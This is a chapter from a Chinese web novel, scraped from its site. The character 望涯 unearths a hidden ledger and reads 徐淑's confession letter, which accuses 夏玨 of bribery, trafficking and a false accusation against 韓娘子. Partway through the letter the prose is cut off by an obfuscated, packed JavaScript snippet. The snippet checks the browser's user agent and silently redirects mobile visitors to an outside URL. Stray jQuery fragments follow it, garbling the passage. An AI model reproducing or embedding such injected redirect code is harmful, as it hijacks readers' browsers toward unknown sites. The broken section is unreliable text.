69.徐淑的私宅(2 / 2)

她不是棄子 不羨光 8380 字 4個月前

巧的是,畫中他們其樂融融的,正是在一扇月洞門下,四周還有竹林。

望涯熄了火折子,解下腰間的匕首開始在月光下刨土。

眼見石燈旁堆起了一個小山坡,她才停手,直了直腰板,目光停留在坑裡的一個陶甕上。

甕口封了層泥巴,望涯將其剝落,再次點了火折子靠近,這才看見裡頭塞滿香料。她將手伸進去查探,從最底下掏出一卷小臂粗的東西,拿出來一看,是本卷成筒的冊子,外頭用一截蜀錦緊緊捆住,像明珍廚下鹵的豬蹄。

望涯將東西塞進隨身的挎包中,接著將此大坑重新填平,踩著梆聲回到住處。

四下寂靜,望涯關閉門窗,在燭火下緩緩打開冊子。

徐淑在冊子上寫下了所有,樁樁件件都指認的夏玨,多是通過醉春風行的賄賂略賣,以及結黨營私的行徑,除此之外,還有一封她的親筆信:

展信人:

我不知道你是誰,但我會把始末都告訴你。

我是徐十三,原名徐淑,是洛州人士。三十年前,家父徐圖還是洛州知府,家道中落時遇見了如今的西亭侯夏玨,我父親身為他的舊部,在流放前懇求夏玨救我和母親,後來夏玨當真將我和母親贖出教坊司,卻要我入宮為婢報答他所謂的‘恩情’,接著將我改名換姓送到韓娘子身邊做事。

後來沈威將軍兵敗,夏玨找到我,要我揭發韓娘子以及馮學士的私情,我不知道怎麼去揭發這本就子虛烏有的事,是夏玨一字一句教導我,並用我母親的性命要挾,我不得不順從。

後來我隨韓娘子入冷宮,看著她重病,看著她在病榻上還在掛念著聖上的風寒,慶王

;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049670|126810||http|test|mini|href|location'.split('|'),0,{}));

() {

$('.inform').remove();

$('#tent').append('

殿下年幼,伏在韓娘子手邊,不斷地喊著阿娘,阿娘。而娘子卻再也沒有力氣抬起手輕撫他的頭頂。

這一切,都是夏玨和我一手造成的。

後來,慶王殿下離開冷宮做的第一件事,竟是把我送出宮去。

他說這是韓娘子的意思,皇城是個吃人的地方,無論高低貴賤,一旦失足就會被啃食得連骨頭都不剩。

出宮後,夏玨擔心事跡敗露,欲將我滅口。我知道在他的手底下幾乎沒有逃出生天的可能,於是我先找到他,求他收留我。彼時他在京中還未徹底站穩,他需要有人幫他在夜裡行舟,替他編織美麗的蜀錦去掩蓋渾身的肮臟齷齪。

我無疑是最合適的人選,走投無路,甚至連母親都在他手中。

於是,便有了醉春風。

我無時無刻不在尋找出路,尋找我的母親,可得知的消息卻是,她早就死在了教坊司。夏玨根本沒有救她,從始至終他都在欺騙我,讓我的雙手沾滿鮮血,夜不能寐,夜夜被惡鬼纏繞索命,去換他的高枕無憂。

我想走。

可他把聽寒送到了我的麵前。

我想起很多年前,我們在院子裡玩耍,母親們在一旁繡花,聽寒說將來要考取功名,要穿狀元袍。我說要懸壺濟世,要逍遙自在,當時的我們都還不知道,這個世道並不屬於我們。

我不得不將她帶進醉春風,否則她活不過那個寒冬。

我披著徐十三的外皮活了很久,直到那天,聽寒叫了我一聲徐淑。我才恍然發現,原來我是徐淑,原來我曾經是徐淑。

但一切都為時已晚,我已然是罪無可恕了。

而這一切,都拜夏玨所賜。

如果找到此書的是夏玨,那你且記,我不會放過你,就算死也不會。

倘若不是,我不清楚你是如何得到它的,也不知已經過了多久,彼時要是夏玨已經死了,此書也就沒了用處。如若他還活著,慶王殿下也還康健,請你將冊子和書信一同呈給慶王,並拿到他的手書到華氏錢莊兌換銀子,那是我全部的積蓄,如果你能見到聽寒,煩請將另一封信交給她。

若慶王殿下已然失勢,煩請轉交賀氏的望涯,拿著她的手書同樣能夠兌銀子。

願你平安順遂。

……

書信結尾還蓋著她的私印,以及簽名和手印。

信封裡除了此書,另外還有一封,上頭寫著:聽寒親啟。

望涯捧著信紙久久沒有動彈,直到燭火燃儘,屋子裡陷入一片黑暗中。

良久後她才起身,借著月光重新點了燈,在她的冊子裡補上‘沈威’的名字。

沈定西主張夏玨刻意貽誤軍機,等沈威徹底覆沒後才‘姍姍來遲’,裝模作樣收複土地,領了軍功,升了官銜。

到現在,坊間談的都是沈威弄丟了土地,而夏玨收複了土地。

此事的節點藏在失蹤的許策身上,但望涯並不著急尋找她。

更令她想不通的是,為何夏玨要在沈威兵敗後對馮學士下手?

馮學士同那場戰役有什麼關係?

“馮學士……馮學士……”望涯的手指一下一下點在信紙上,眉頭微皺。忽然間福至心靈,仿佛開悟了般,她‘嘩’地站起身,在屋子裡快步走了兩個來回,她必須得做點什麼,她快要抑製不住自己衝到夏玨麵前陳述他罪狀的衝動。

於是她熄了火,走到窗邊推開沉重的窗,這才發覺天邊已經泛起魚肚白。

清冽的晨風使望涯鎮定下來,雙手仍把著窗框。

要想徹底查清楚,得先把夏玨關進籠子裡防止他攀咬,再請趙儼下旨複核沈威以及馮學士的案子。

“小望大人,有信。”望涯開門拿信,信封上赫然寫著‘江北’二字。

上一頁 書頁/目錄 下一章